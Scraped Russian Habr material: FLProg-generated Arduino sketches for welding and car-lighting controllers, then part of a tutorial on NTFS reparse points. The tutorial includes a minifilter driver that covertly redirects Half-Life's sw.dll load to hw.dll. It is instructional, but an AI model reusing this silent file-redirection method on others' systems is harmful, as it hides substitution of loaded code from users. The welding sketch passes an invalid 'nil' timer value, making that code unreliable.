if ( _isTimer ( _gen7P , 3 ))
{
_gen7P = millis();
_gen7O = ! _gen7O;
}
}
if (_gen7O)
{
if (! _count7I)
{
if ( ((_gtv8) < (_swi13)) && (!((_gtv8) > (_swi13))) ) {
_count7P = _count7P + 1;
} else {
_count7P = _count7P - 1;
};
_count7I = 1;
}
}
else
{
_count7I = 0;
}
if (_count7P < 0 ) _count7P = 0;
if (0) _count7P = 0;
analogWrite(3, _count7P);
_gtv8 = _count7P;
if (_bounseInput4O)
{
_swi14 = 255;
}
else
{
_swi14 = 0;
}
if ( ((_gtv10) < (_swi14)) || ((_gtv10) > (_swi14)) )
{
if (! _gen8I)
{
_gen8I = 1;
_gen8O = 1;
_gen8P = millis();
}
}
else
{
_gen8I = 0 ;
_gen8O = 0;
}
if (_gen8I )
{
if ( _isTimer ( _gen8P , 3 ))
{
_gen8P = millis();
_gen8O = ! _gen8O;
}
}
if (_gen8O)
{
if (! _count8I)
{
if ( ((_gtv10) < (_swi14)) && (!((_gtv10) > (_swi14))) ) {
_count8P = _count8P + 1;
} else {
_count8P = _count8P - 1;
};
_count8I = 1;
}
}
else
{
_count8I = 0;
}
if (_count8P < 0 ) _count8P = 0;
if (0) _count8P = 0;
analogWrite(5, _count8P);
_gtv10 = _count8P;
if (_bounseInput7O)
{
_swi15 = 255;
}
else
{
_swi15 = 0;
}
if ( ((_gtv25) < (_swi15)) || ((_gtv25) > (_swi15)) )
{
if (! _gen9I)
{
_gen9I = 1;
_gen9O = 1;
_gen9P = millis();
}
}
else
{
_gen9I = 0 ;
_gen9O = 0;
}
if (_gen9I )
{
if ( _isTimer ( _gen9P , 3 ))
{
_gen9P = millis();
_gen9O = ! _gen9O;
}
}
if (_gen9O)
{
if (! _count9I)
{
if ( ((_gtv25) < (_swi15)) && (!((_gtv25) > (_swi15))) ) {
_count9P = _count9P + 1;
} else {
_count9P = _count9P - 1;
};
_count9I = 1;
}
}
else
{
_count9I = 0;
}
if (_count9P < 0 ) _count9P = 0;
if (0) _count9P = 0;
analogWrite(6, _count9P);
_gtv25 = _count9P;
}
bool _isTimer(unsigned long startTime, unsigned long period )
{
unsigned long endTime;
endTime = startTime + period;
return (millis() >= endTime);
}
```
Готовое устройство:
Видео в процессе сборки:
Видео законченного результата:
#### **На работе**
##### Cварочный контроллер для сварки арматуры от ALEX
Написал программу сварочного контроллера для сварки арматуры. Запуск от ножной педали при наличии прутка арматуры.
Регулировка трех технологических параметров:
«Время ПРИЖИМА», «Время СВАРКИ»
«Время ПРОКОВКИ»
Дополнительно предусмотрен переключатель «АВТОМАТ- РУЧНОЙ»
Принципиальная схема:
[Файл проекта](http://flprog.ru/images/hostingFiles/57687003.flp) в программе FLProg.
**Скетч для ArduinoIDE**
```
bool _gtv1 = 0;
bool _tim1I = 0;
bool _tim1O = 0;
unsigned long _tim1P = 0UL;
bool _gen1I = 0;
bool _gen1O = 0;
unsigned long _gen1P = 0UL;
bool _trgr1 = 0;
bool _gen2I = 0;
bool _gen2O = 0;
unsigned long _gen2P = 0UL;
bool _tim2I = 0;
bool _tim2O = 0;
unsigned long _tim2P = 0UL;
bool _tim3I = 0;
bool _tim3O = 0;
unsigned long _tim3P = 0UL;
bool _gen4I = 0;
bool _gen4O = 0;
unsigned long _gen4P = 0UL;
void setup()
{
pinMode(2, INPUT);
pinMode(3, INPUT);
pinMode(4, INPUT);
pinMode(5, OUTPUT);
pinMode(6, OUTPUT);
}
void loop()
{
if ( ( (digitalRead (2))) && ( (digitalRead (3))) )
{
if (_tim1I)
{
if ( _isTimer(_tim1P, nil)) _tim1O = 1;
}
else
{
_tim1I = 1;
_tim1P = millis();
}
}
else
{
_tim1O = 0;
_tim1I = 0;
}
if (_tim1O)
{
if (! _gen1I)
{
_gen1I = 1;
_gen1O = 1;
_gen1P = millis();
}
}
else
{
_gen1I = 0 ;
_gen1O = 0;
}
if (_gen1I && _gen1O) _gen1O = !( _isTimer ( _gen1P , 10 ));
if ( ( ( (digitalRead (2))) && (!( (digitalRead (4)))) ) || ( ( (digitalRead (4))) && (_gtv1) ) )
{
if (! _gen2I)
{
_gen2I = 1;
_gen2O = 1;
_gen2P = millis();
}
}
else
{
_gen2I = 0 ;
_gen2O = 0;
}
if (_gen2I && _gen2O) _gen2O = !( _isTimer ( _gen2P , 10 ));
if (_gen2O) _trgr1 = 0;
if (_gen1O) _trgr1 = 1;
if (_trgr1)
{
if (_tim2I)
{
if ( _isTimer(_tim2P, (( (analogRead (1))) / (8)) + (100))) _tim2O = 1;
}
else
{
_tim2I = 1;
_tim2P = millis();
}
}
else
{
_tim2O = 0;
_tim2I = 0;
}
if (_tim2O)
{
if (! _gen4I)
{
_gen4I = 1;
_gen4O = 1;
_gen4P = millis();
}
}
else
{
_gen4I = 0 ;
_gen4O = 0;
}
if (_gen4I && _gen4O) _gen4O = !( _isTimer ( _gen4P , (( (analogRead (0))) / (8)) + (100) ));
if (_gen4O)
{
_tim3O = 1;
_tim3I = 1;
}
else
{
if (_tim3I)
{
_tim3I = 0;
_tim3P = millis();
}
else
{
if (_tim3O)
{ if ( _isTimer(_tim3P, (( (analogRead (2))) / (8)) + (100))) _tim3O = 0;
}
}
}
digitalWrite(5, _trgr1);
digitalWrite(6, _gen4O);
_gtv1 = (!(_tim3O));
}
bool _isTimer(unsigned long startTime, unsigned long period )
{
unsigned long endTime;
endTime = startTime + period;
return (millis() >= endTime);
}
```
#### **В машине**
##### Управление осветительными приборами автомобиля от karam.d
Блок управления светом на автомобиле.
При включении режима автомат (габариты, ходовые огни, ближний свет) включаются и выключаются автоматически. Как поступил сигнал с тахометра вкл режим авт и загораются габариты и диод (автомат вкл). После пропадания сигнала (через 10 сек) вык режим автомат, а габариты гаснут после выкл зажигания. При появлении сигнала с датчика скорости вкл ходовые огни или ближний свет фар (в зависимости от освещённости ). При пропадании (через 2 мин) они выключаются.
Когда блок включен, контролируется целостность ламп ближнего света, напряжение на борту (мин, норма, макс) сопровождается световой и звуковой сигнализацией (звуковой сигнал можно отключить нажатием кнопки). Если подключить поворотники (к А7), то они будут сопровождаться звуковым сигналом. Проект собран на Arduino Nano. Работает уже месяц как часы.
Принципиальная схема:
[Файл проекта](http://flprog.ru/images/hostingFiles/130959311.flp) в программе FLProg.
[Схема в diptrace](http://flprog.ru/images/hostingFiles/263199160.dch).
**Скетч для ArduinoIDE**
```
bool _gtv1 = 0;
bool _gtv5 = 0;
bool _gtv6 = 0;
bool _gtv7 = 0;
bool _gtv8 = 0;
bool _gtv9 = 0;
bool _gtv10 = 0;
bool _gtv11 = 0;
bool _gtv2 = 0;
bool _gtv3 = 0;
bool _gtv4 = 0;
bool _gtv12 = 0;
bool _gtv13 = 0;
bool _gtv14 = 0;
bool _bounse1S = 0;
bool _bounse1O = 0;
unsigned long _bounse1P = 0UL;
bool _tim1I = 0;
bool _tim1O = 0;
unsigned long _tim1P = 0UL;
bool _tim6I = 0;
bool _tim6O = 0;
unsigned long _tim6P = 0UL;
bool _trgrt2 = 0;
bool _trgrt2I = 0;
bool _gen4I = 0;
bool _gen4O = 0;
unsigned long _gen4P = 0UL;
bool _count3I = 0;
int _count3P = 0;
bool _tim10I = 0;
bool _tim10O = 0;
unsigned long _tim10P = 0UL;
bool _tim9I = 0;
bool _tim9O = 0;
unsigned long _tim9P = 0UL;
bool _tim2I = 0;
bool _tim2O = 0;
unsigned long _tim2P = 0UL;
bool _trgrt1 = 0;
bool _trgrt1I = 0;
bool _tim8I = 0;
bool _tim8O = 0;
unsigned long _tim8P = 0UL;
bool _gen2I = 0;
bool _gen2O = 0;
unsigned long _gen2P = 0UL;
bool _count1I = 0;
int _count1P = 0;
bool _tim3I = 0;
bool _tim3O = 0;
unsigned long _tim3P = 0UL;
bool _gen3I = 0;
bool _gen3O = 0;
unsigned long _gen3P = 0UL;
bool _count2I = 0;
int _count2P = 0;
bool _tim4I = 0;
bool _tim4O = 0;
unsigned long _tim4P = 0UL;
bool _tim5I = 0;
bool _tim5O = 0;
unsigned long _tim5P = 0UL;
bool _tim7I = 0;
bool _tim7O = 0;
unsigned long _tim7P = 0UL;
bool _gen1I = 0;
bool _gen1O = 0;
unsigned long _gen1P = 0UL;
bool _bounse3S = 0;
bool _bounse3O = 0;
unsigned long _bounse3P = 0UL;
bool _bounse2S = 0;
bool _bounse2O = 0;
unsigned long _bounse2P = 0UL;
bool _trgt1 = 0;
bool _trgt1I = 0;
void setup()
{
pinMode(2, INPUT);
pinMode(4, INPUT);
pinMode(7, OUTPUT);
pinMode(12, OUTPUT);
pinMode(8, OUTPUT);
pinMode(13, OUTPUT);
pinMode(10, OUTPUT);
pinMode(11, OUTPUT);
}
void loop()
{
bool _bounceTmp1 = ( (analogRead (2))) > (500);
if (_bounse1S)
{
if (millis() >= (_bounse1P + 40))
{
_bounse1O = _bounceTmp1;
_bounse1S = 0;
}
}
else
{
if (_bounceTmp1 != _bounse1O )
{
_bounse1S = 1;
_bounse1P = millis();
}
}
_gtv1 = _bounse1O;
if ( (digitalRead (2))) {
if (_trgrt2I) {
_trgrt2 = 0;
} else {
_trgrt2 = 1;
_trgrt2I = 1;
}
} else {
_trgrt2 = 0;
_trgrt2I = 0;
};
if (_trgrt2)
{
_tim1O = 1;
_tim1I = 1;
}
else
{
if (_tim1I)
{
_tim1I = 0;
_tim1P = millis();
}
else
{
if (_tim1O)
{ if ( _isTimer(_tim1P, 10000)) _tim1O = 0;
}
}
}
if ( (!(_gtv1)) && (_tim1O) )
{
if (_tim6I)
{
if ( _isTimer(_tim6P, 3000)) _tim6O = 1;
}
else
{
_tim6I = 1;
_tim6P = millis();
}
}
else
{
_tim6O = 0;
_tim6I = 0;
}
if ( (_tim6O) ^ (_gtv14) )
{
if (! _gen4I)
{
_gen4I = 1;
_gen4O = 1;
_gen4P = millis();
}
}
else
{
_gen4I = 0 ;
_gen4O = 0;
}
if (_gen4I )
{
if ( _isTimer ( _gen4P , 1 ))
{
_gen4P = millis();
_gen4O = ! _gen4O;
}
}
if (_gen4O)
{
if (! _count3I)
{
_count3P = _count3P + 1;
_count3I = 1;
}
}
else
{
_count3I = 0;
}
if (_count3P < 0 ) _count3P = 0;
_gtv5 = _tim6O;
digitalWrite(7, _tim6O);
_gtv14 = _count3P >= 920;
if (_tim6O) {
analogWrite(3, (map((_count3P), (0), (1023), (0), (254))));
}
if ( (_gtv5) && (( (analogRead (5))) > (500)) )
{
if (_tim10I)
{
if ( _isTimer(_tim10P, 2005)) _tim10O = 1;
}
else
{
_tim10I = 1;
_tim10P = millis();
}
}
else
{
_tim10O = 0;
_tim10I = 0;
}
digitalWrite(8, _tim10O);
_gtv11 = _tim10O;
if ( (_gtv5) && (( (analogRead (4))) > (500)) )
{
if (_tim9I)
{
if ( _isTimer(_tim9P, 2005)) _tim9O = 1;
}
else
{
_tim9I = 1;
_tim9P = millis();
}
}
else
{
_tim9O = 0;
_tim9I = 0;
}
_gtv10 = _tim9O;
digitalWrite(12, _tim9O);
if ( (digitalRead (4))) {
if (_trgrt1I) {
_trgrt1 = 0;
} else {
_trgrt1 = 1;
_trgrt1I = 1;
}
} else {
_trgrt1 = 0;
_trgrt1I = 0;
};
if (_trgrt1)
{
_tim2O = 1;
_tim2I = 1;
}
else
{
if (_tim2I)
{
_tim2I = 0;
_tim2P = millis();
}
else
{
if (_tim2O)
{ if ( _isTimer(_tim2P, 120000)) _tim2O = 0;
}
}
}
if ( (_gtv5) && (_tim2O) )
{
if (_tim8I)
{
if ( _isTimer(_tim8P, 2000)) _tim8O = 1;
}
else
{
_tim8I = 1;
_tim8P = millis();
}
}
else
{
_tim8O = 0;
_tim8I = 0;
}
if ( (_tim8O) && (!(_gtv3)) && (!(_gtv4)) )
{
if (! _gen2I)
{
_gen2I = 1;
_gen2O = 1;
_gen2P = millis();
}
}
else
{
_gen2I = 0 ;
_gen2O = 0;
}
if (_gen2I )
{
if ( _isTimer ( _gen2P , 1 ))
{
_gen2P = millis();
_gen2O = ! _gen2O;
}
}
if (_gen2O)
{
if (! _count1I)
{
_count1P = _count1P + 1;
_count1I = 1;
}
}
else
{
_count1I = 0;
}
if (_count1P < 0 ) _count1P = 0;
if (_gtv3) _count1P = 0;
_gtv6 = _tim8O;
_gtv4 = _count1P >= 920;
analogWrite(5, (map((_count1P), (0), (1023), (0), (254))));
if (( (analogRead (6))) > (700))
{
_tim3O = 1;
_tim3I = 1;
}
else
{
if (_tim3I)
{
_tim3I = 0;
_tim3P = millis();
}
else
{
if (_tim3O)
{ if ( _isTimer(_tim3P, 120000)) _tim3O = 0;
}
}
}
if ( ( (_tim3O) && (_gtv5) && (_gtv6) ) ^ (_gtv12) )
{
if (! _gen3I)
{
_gen3I = 1;
_gen3O = 1;
_gen3P = millis();
}
}
else
{
_gen3I = 0 ;
_gen3O = 0;
}
if (_gen3I )
{
if ( _isTimer ( _gen3P , 1 ))
{
_gen3P = millis();
_gen3O = ! _gen3O;
}
}
if (_gen3O)
{
if (! _count2I)
{
_count2P = _count2P + 1;
_count2I = 1;
}
}
else
{
_count2I = 0;
}
if (_count2P < 0 ) _count2P = 0;
if (!(_gtv13)) _count2P = 0;
_gtv13 = _tim3O;
_gtv3 = (_tim3O) && (_gtv5) && (_gtv6) ;
_gtv12 = _count2P >= 920;
analogWrite(9, (map((_count2P), (0), (1023), (0), (254))));
analogWrite(6, (map((_count2P), (0), (1023), (0), (254))));
if (( (analogRead (0))) > (600.00))
{
if (_tim4I)
{
if ( _isTimer(_tim4P, 4000)) _tim4O = 1;
}
else
{
_tim4I = 1;
_tim4P = millis();
}
}
else
{
_tim4O = 0;
_tim4I = 0;
}
if (( (analogRead (1))) < (500.00))
{
if (_tim5I)
{
if ( _isTimer(_tim5P, 4000)) _tim5O = 1;
}
else
{
_tim5I = 1;
_tim5P = millis();
}
}
else
{
_tim5O = 0;
_tim5I = 0;
}
_gtv8 = _tim4O;
_gtv7 = _tim5O;
digitalWrite(10, (_gtv8) || (_gtv7) );
_gtv9 = (! (_gtv8) || (0) );
digitalWrite(11, (_gtv7) || (_gtv9) );
if ( ( (_gtv8) || (_gtv7) || (_gtv10) || (_gtv11) ) ^ ( ( (_gtv8) || (_gtv7) || (_gtv10) || (_gtv11) ) && (_gtv2) ) )
{
if (_tim7I)
{
if ( _isTimer(_tim7P, 2000)) _tim7O = 1;
}
else
{
_tim7I = 1;
_tim7P = millis();
}
}
else
{
_tim7O = 0;
_tim7I = 0;
}
if (_tim7O)
{
if (! _gen1I)
{
_gen1I = 1;
_gen1O = 1;
_gen1P = millis();
}
}
else
{
_gen1I = 0 ;
_gen1O = 0;
}
if (_gen1I )
{
if ( _isTimer ( _gen1P , 1000 ))
{
_gen1P = millis();
_gen1O = ! _gen1O;
}
}
bool _bounceTmp3 = ( (analogRead (7))) > (500);
if (_bounse3S)
{
if (millis() >= (_bounse3P + 40))
{
_bounse3O = _bounceTmp3;
_bounse3S = 0;
}
}
else
{
if (_bounceTmp3 != _bounse3O )
{
_bounse3S = 1;
_bounse3P = millis();
}
}
digitalWrite(13, (_gen1O) || (_bounse3O) );
bool _bounceTmp2 = ( (analogRead (3))) > (500);
if (_bounse2S)
{
if (millis() >= (_bounse2P + 40))
{
_bounse2O = _bounceTmp2;
_bounse2S = 0;
}
}
else
{
if (_bounceTmp2 != _bounse2O )
{
_bounse2S = 1;
_bounse2P = millis();
}
}
bool _tmp1 = _bounse2O;
if (_tmp1) {
if (! _trgt1I) _trgt1 = ! _trgt1;
}
_trgt1I = _tmp1;
_gtv2 = _trgt1;
}
bool _isTimer(unsigned long startTime, unsigned long period )
{
unsigned long endTime;
endTime = startTime + period;
return (millis() >= endTime);
}
```
Сразу оговорюсь. Наверняка у многих возникнет вопрос о читаемости скетчей для Arduino IDE. Скетчи созданы автоматически программой с помощью графической среды программирования. Как я уже говорил, авторы проектов не имеют никакого отношения к IT и к программированию. Это умные и хозяйственные люди с прямыми руками и четким пониманием, что им нужно.
Сейчас в разработке есть еще несколько проектов, о которых я знаю. Это управление поливом теплицы, управление гаражными воротами, кодовый замок и еще много других проектов. Если читателям интересно, я попрошу авторов рассказать о своих проектах после их завершения. | https://habr.com/ru/post/240651/ | null | ru | null |
# NTFS Reparse Points
Привет, Хабр. Представляю вам гайд по NTFS Reparse points (далее RP), точкам повторной обработки. Это статья для тех, кто только начинает изучать тонкости разработки ядра Windows и его окружения. В начале объясню теорию с примерами, потом дам интересную задачку.
RP является одной из ключевых фич файловой системы NTFS, которая бывает полезна в решении задач резервного копирования и восстановления. Как следствие, Acronis очень заинтересован в данной технологии.
Полезные ссылки
---------------
Если вы хотите разобраться в теме самостоятельно, почитайте эти источники. Теоретическая часть, которую вы увидите далее — это короткий пересказ материалов из этого списка.
* Официальная документация с MSDN: [docs.microsoft.com/en-us/windows/win32/fileio/reparse-points](https://docs.microsoft.com/en-us/windows/win32/fileio/reparse-points)
* М. Руссинович, Д. Соломон, А. Ионеску, Внутреннее устройство Microsoft Windows. 6-е изд. Основные подсистемы ОС. Стр 535.
* Короткий и удобный гайд: [hex.pp.ua/reparse-point-custom.php](http://hex.pp.ua/reparse-point-custom.php)
* Очень классный проект использующий RP: [github.com/aleksk/LazyCopy](https://github.com/aleksk/LazyCopy)
* Решение задачи, которую мы разберем ниже: [github.com/Dabudabot/injection-monitor](https://github.com/Dabudabot/injection-monitor)
Теория
------
Точка повторной обработки или Reparse Point (RP) — это объект заданного размера с данными, определенными программистом, и уникальным тегом. Пользовательский объект представлен структурой [REPARSE\_GUID\_DATA\_BUFFER](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_reparse_guid_data_buffer).
```
typedef struct _REPARSE_GUID_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
GUID ReparseGuid;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} REPARSE_GUID_DATA_BUFFER, *PREPARSE_GUID_DATA_BUFFER;
```
Размер блока данных RP доходит до 16 килобайт.
**ReparseTag** — 32-х разрядный тэг.
**ReparseDataLength** — размер данных
**DataBuffer** — указатель на пользовательские данные
RP, предоставленные Microsoft, могут быть представлены структурой [REPARSE\_DATA\_BUFFER](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_reparse_data_buffer). Не следует её использовать для самописных RP.
Рассмотрим формат тега:
**M** — Бит Майкрософт; Если этот бит установлен, значит тег разработан компанией Майкрософт.
**L** — Бит задержки; Если этот бит установлен, значит данные, на которые ссылается RP расположены на носителе с низкой скоростью реакции и большой задержкой выдачи данных.
**R** — Зарезервированный бит;
**N** — Бит замены имени; Если этот бит установлен, значит файл или каталог представляет другую именованную сущность в файловой системе.
**Значение тега** — Запрашивается у Microsoft;
Каждый раз, когда приложение создает или удаляет RP, NTFS обновляет файл метаданных *\\$Extend\\$Reparse*. Именно в этом файле хранятся записи о RP. Такое централизованное хранение позволяет сортировать и эффективно искать необходимый объект любому приложению.
Через механизм RP в Windows реализована поддержка символьных ссылок, системы удаленного хранилища, а также точек монтирования томов и каталогов.
Жесткие ссылки в системе Windows не являются фактическим объектом, а просто синонимом на один и тот же файл на диске. Это не отдельные объекты файловой системы, а просто еще одно наименование файла в таблице расположения файлов. Этим жёсткие ссылки отличаются от символьных.
Для использования технологии RP нам нужно написать:
* Небольшое приложение с привилегиями **SE\_BACKUP\_NAME** или **SE\_RESTORE\_NAME**, которое будет создавать файл содержащий структуру RP, устанавливать обязательное поле **ReparseTag** и заполнять **DataBuffer**
* Драйвер режима ядра, который будет читать данные буфера и обрабатывать обращения к этому файлу.
Создадим свой файл с RP
-----------------------
1. Получаем необходимые привилегии
```
void GetPrivilege(LPCTSTR priv)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, priv, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(TOKEN_PRIVILEGES), NULL, NULL);
CloseHandle(hToken);
}
GetPrivilege(SE_BACKUP_NAME);
GetPrivilege(SE_RESTORE_NAME);
GetPrivilege(SE_CREATE_SYMBOLIC_LINK_NAME);
```
2. Подготавливаем структуру [REPARSE\_GUID\_DATA\_BUFFER](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_reparse_guid_data_buffer). Для примера в данные RP мы напишем простую строку *“My reparse data”*.
```
TCHAR data[] = _T("My reparse data");
BYTE reparseBuffer[sizeof(REPARSE_GUID_DATA_BUFFER) + sizeof(data)];
PREPARSE_GUID_DATA_BUFFER rd = (PREPARSE_GUID_DATA_BUFFER) reparseBuffer;
ZeroMemory(reparseBuffer, sizeof(REPARSE_GUID_DATA_BUFFER) + sizeof(data));
// {07A869CB-F647-451F-840D-964A3AF8C0B6}
static const GUID my_guid = { 0x7a869cb, 0xf647, 0x451f, { 0x84, 0xd, 0x96, 0x4a, 0x3a, 0xf8, 0xc0, 0xb6 }};
rd->ReparseTag = 0xFF00;
rd->ReparseDataLength = sizeof(data);
rd->Reserved = 0;
rd->ReparseGuid = my_guid;
memcpy(rd->GenericReparseBuffer.DataBuffer, &data, sizeof(data));
```
3. Создаем файл.
```
LPCTSTR name = _T("TestReparseFile");
_tprintf(_T("Creating empty file\n"));
HANDLE hFile = CreateFile(name,
GENERIC_READ | GENERIC_WRITE,
0, NULL,
CREATE_NEW,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
_tprintf(_T("Failed to create file\n"));
return -1;
}
```
4. Заполняем файл нашей структурой, используя метод [DeviceIoControl](https://docs.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol) с параметром [FSCTL\_SET\_REPARSE\_POINT](https://docs.microsoft.com/en-us/windows/win32/api/winioctl/ni-winioctl-fsctl_set_reparse_point).
```
_tprintf(_T("Creating reparse\n"));
if (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, rd, rd->ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0, &dwLen, NULL))
{
CloseHandle(hFile);
DeleteFile(name);
_tprintf(_T("Failed to create reparse\n"));
return -1;
}
CloseHandle(hFile);
```
Полный код этого приложения можно найти [тут](https://gist.github.com/Dabudabot/573fbe79cddbf86f71e3a5396d43b35d).
После сборки и запуска у нас образуется файл. Утилита [fsutil](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil) поможет посмотреть на созданный нами файл и убедиться, что наши данные на месте.
Обработка RP
------------
Пришло время взглянуть на этот файл со стороны ядреного пространства. Я не буду углубляться в детали устройства мини-фильтра драйвера. Хорошее объяснение есть официальной документации от Microsoft с [примерами кода](https://github.com/microsoft/Windows-driver-samples/tree/master/filesys/miniFilter). А мы посмотрим на *post callback* метод.
Нужно перезапросить **IRP** c параметром **FILE\_OPEN\_REPARSE\_POINT**. Для этого мы вызовем [FltReissueSynchronousIo](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/nf-fltkernel-fltreissuesynchronousio). Данная функция повторит запрос, но уже с обновленными **Create.Options**.
Внутри структуры [PFLT\_CALLBACK\_DATA](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_callback_data) есть поле **TagData**. Если вызвать метод [FltFsControlFile](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/nf-fltkernel-fltfscontrolfile) с кодом [FSCTL\_GET\_REPARSE\_POINT](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/fsctl-get-reparse-point), то получим наш буфер с данными.
```
// todo конечно стоит проверить наш ли это тэг, а не только его наличие
if (Data->TagData != NULL)
{
if ((Data->Iopb->Parameters.Create.Options & FILE_OPEN_REPARSE_POINT) != FILE_OPEN_REPARSE_POINT)
{
Data->Iopb->Parameters.Create.Options |= FILE_OPEN_REPARSE_POINT;
FltSetCallbackDataDirty(Data);
FltReissueSynchronousIo(FltObjects->Instance, Data);
}
status = FltFsControlFile(
FltObjects->Instance,
FltObjects->FileObject,
FSCTL_GET_REPARSE_POINT,
NULL,
0,
reparseData,
reparseDataLength,
NULL
);
}
```
Далее можно использовать эти данные в зависимости от задачи. Можно вновь перезапросить **IRP**. Или инициировать совершенно новый запрос. К примеру, в проекте [LazyCopy](https://github.com/aleksk/LazyCopy/tree/master/Driver/LazyCopyDriver) в данных RP хранится путь до оригинального файла. Автор не начинает копирование в момент открытия файла, а лишь пересохраняет данные из RP в *stream context* данного файла. Данные начинают копироваться в момент чтения или записи файла. Вот наиболее важные моменты его проекта:
```
// Operations.c - PostCreateOperationCallback
NT_IF_FAIL_LEAVE(LcGetReparsePointData(FltObjects, &fileSize, &remotePath, &useCustomHandler));
NT_IF_FAIL_LEAVE(LcFindOrCreateStreamContext(Data, TRUE, &fileSize, &remotePath, useCustomHandler, &streamContext, &contextCreated));
// Operations.c - PreReadWriteOperationCallback
status = LcGetStreamContext(Data, &context);
NT_IF_FAIL_LEAVE(LcGetFileLock(&nameInfo->Name, &fileLockEvent));
NT_IF_FAIL_LEAVE(LcFetchRemoteFile(FltObjects, &context->RemoteFilePath, &nameInfo->Name, context->UseCustomHandler, &bytesFetched));
NT_IF_FAIL_LEAVE(LcUntagFile(FltObjects, &nameInfo->Name));
NT_IF_FAIL_LEAVE(FltDeleteStreamContext(FltObjects->Instance, FltObjects->FileObject, NULL));
```
На самом деле, RP имеют широкий спектр применения, и открывают множество возможностей для решения различных задач. Один из них разберем на решении следующей задачи.
Задачка
-------
Игрушка *Half-life* умеет запускаться в двух режимах: *software mode* и *hardware mode*, которые отличаются способом отрисовки графики в игре. Немного поковыряв игрушку в *IDA Pro*, можно заметить, что режимы различаются загружаемой методом [LoadLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) библиотекой: **sw.dll** или **hw.dll**.
В зависимости от входных аргументов (например *“-soft”*) выбирается та или иная строка и подбрасывается в вызов функции [LoadLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya).
Суть задачи заключается в том, чтобы запретить игрушке загружаться в *software mode*, да так, чтобы пользователь этого не заметил. В идеале чтобы пользователь даже не понял, что вне зависимости от его выбора, он загружается в *hardware mode*.
Конечно, можно было бы пропатчить исполняемый файл, или заменить dll файл, да даже просто скопировать **hw.dll** и переименовать копию в **sw.dll**, но мы не ищем лёгких путей. Плюс, если игру будут обновлять или переустанавливать, эффект пропадет.
Решение
-------
Я предлагаю следующее решение: напишем небольшой мини-фильтр драйвер. Он будет работать постоянно и на него не будут влиять переустановка и обновление игры. Зарегистрируем драйвер на операцию **IRP\_MJ\_CREATE**, ведь каждый раз, когда исполняемый файл вызывает [LoadLibrary](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya), он по сути открывает файл библиотеки. Как только мы заметим, что процесс игры пытается открыть библиотеку **sw.dll**, мы вернем статус **STATUS\_REPARSE** и попросим повторить запрос, но уже на открытие **hw.dll**. Результат: *открылась нужная нам библиотека, хоть user space и просил у нас другую*.
Для начала, нам надо понять, какой процесс пытается открыть библиотеку, ведь провернуть наш трюк нам необходимо только для процесса игры. Для этого прямо в **DriverEntry** нам нужно будет позвать [PsSetCreateProcessNotifyRoutine](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine) и зарегистрировать метод, который будет вызываться каждый раз как только в системе будет появляться новый процесс.
```
NT_IF_FAIL_LEAVE(PsSetCreateProcessNotifyRoutine(IMCreateProcessNotifyRoutine, FALSE));
```
В этом методе мы должны получить имя запускаемого файла. Для этого можно воспользоваться [ZwQueryInformationProcess](https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess).
```
NT_IF_FAIL_LEAVE(PsLookupProcessByProcessId(ProcessId, &eProcess));
NT_IF_FAIL_LEAVE(ObOpenObjectByPointer(eProcess, OBJ_KERNEL_HANDLE, NULL, 0, 0, KernelMode, &hProcess));
NT_IF_FAIL_LEAVE(ZwQueryInformationProcess(hProcess,
ProcessImageFileName,
buffer,
returnedLength,
&returnedLength));
```
Если он совпадает с искомым, в нашем случае **hl.exe**, то необходимо запомнить его **PID**.
```
target = &Globals.TargetProcessInfo[i];
if (RtlCompareUnicodeString(&processNameInfo->Name, &target->TargetName, TRUE) == 0)
{
target->NameInfo = processNameInfo;
target->isActive = TRUE;
target->ProcessId = ProcessId;
LOG(("[IM] Found process creation: %wZ\n", &processNameInfo->Name));
}
```
Итак, теперь у нас в глобальном объекте сохранен **PID** процесса нашей игры. Можно переходить к *pre create callback*. Там мы должны получить имя открываемого файла. В этом нам поможет [FltGetFileNameInformation](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/nf-fltkernel-fltgetfilenameinformation). Данную функцию нельзя вызывать на **DPC** уровне прерываний (читай подробнее [про IRQL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-hardware-priorities)), однако, мы собираемся делать вызов исключительно на *pre create*, что гарантирует нам уровень не выше **APC**.
```
status = FltGetFileNameInformation(Data, FLT_FILE_NAME_OPENED | FLT_FILE_NAME_QUERY_FILESYSTEM_ONLY | FLT_FILE_NAME_ALLOW_QUERY_ON_REPARSE, &fileNameInfo);
```
Далее все просто, если наше имя **sw.dll**, то нужно заменить его в **FileObject** на **hw.dll**. И вернуть статус **STATUS\_REPARSE**.
```
// may be it is sw
